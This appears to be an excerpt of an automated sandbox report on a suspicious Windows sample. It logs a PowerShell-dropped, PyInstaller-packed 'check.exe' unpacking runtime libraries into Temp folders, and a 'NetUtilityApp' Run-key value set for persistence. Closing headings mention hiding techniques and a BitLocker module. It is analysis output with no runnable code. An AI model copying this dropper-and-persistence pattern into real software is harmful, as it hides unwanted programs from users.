Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\opengl32sw.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\Qt5Network.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qtiff.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\sip.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\charset_normalizer\md__mypyc.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\platformthemes\qxdgdesktopportal.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\QtWidgets.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5QmlModels.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\libGLESv2.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\styles\qwindowsvistastyle.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\platforms\qwindows.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\MSVCP140_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\Qt5Widgets.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats\qtga.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\libEGL.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\generic\qtuiotouchplugin.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\QtWidgets.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\platformthemes\qxdgdesktopportal.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats\qjpeg.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\Qt5QmlModels.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\imageformats\qwebp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\platforms\qwebgl.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5WebSockets.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\Qt5Svg.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qwbmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats\qicns.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\python313.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\imageformats\qwbmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\charset_normalizer\md.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\generic\qtuiotouchplugin.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\platforms\qoffscreen.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\Qt5WebSockets.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\Qt5Svg.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats\qico.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\platforms\qoffscreen.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\VCRUNTIME140_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Gui.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\python313.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\Qt5Core.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\QtCore.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\VCRUNTIME140_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\platforms\qwindows.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5DBus.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Network.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\MSVCP140_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\imageformats\qgif.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\libGLESv2.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\MSVCP140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\Qt5DBus.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\libEGL.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\imageformats\qtiff.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qico.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\psutil\_psutil_windows.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Quick.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\psutil\_psutil_windows.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats\qwbmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats\qwebp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\imageformats\qicns.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\QtWidgets.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\python313.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\Qt5Network.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\platforms\qminimal.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\platforms\qwebgl.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\QtGui.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\Qt5Quick.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\platforms\qoffscreen.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\Qt5Qml.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\libEGL.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\MSVCP140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qsvg.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\Qt5Gui.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\MSVCP140_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\MSVCP140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qtga.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Svg.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\psutil\_psutil_windows.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Widgets.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\imageformats\qjpeg.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats\qgif.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\opengl32sw.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\QtCore.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\generic\qtuiotouchplugin.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\platforms\qminimal.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Qml.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qwebp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\Qt5DBus.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\iconengines\qsvgicon.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\Qt5Core.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\imageformats\qsvg.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\charset_normalizer\md__mypyc.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\imageformats\qtga.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\Qt5WebSockets.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\Qt5QmlModels.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\VCRUNTIME140_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats\qtiff.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats\qsvg.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\opengl32sw.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\iconengines\qsvgicon.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\platforms\qwebgl.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Core.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\iconengines\qsvgicon.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\styles\qwindowsvistastyle.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\platformthemes\qxdgdesktopportal.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\sip.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\VCRUNTIME140_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\Qt5Quick.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\Qt5Widgets.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\charset_normalizer\md.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\python3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\python3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\libGLESv2.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\python3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI29362\charset_normalizer\md__mypyc.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\QtGui.pyd	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run NetUtilityApp			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run NetUtilityApp			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

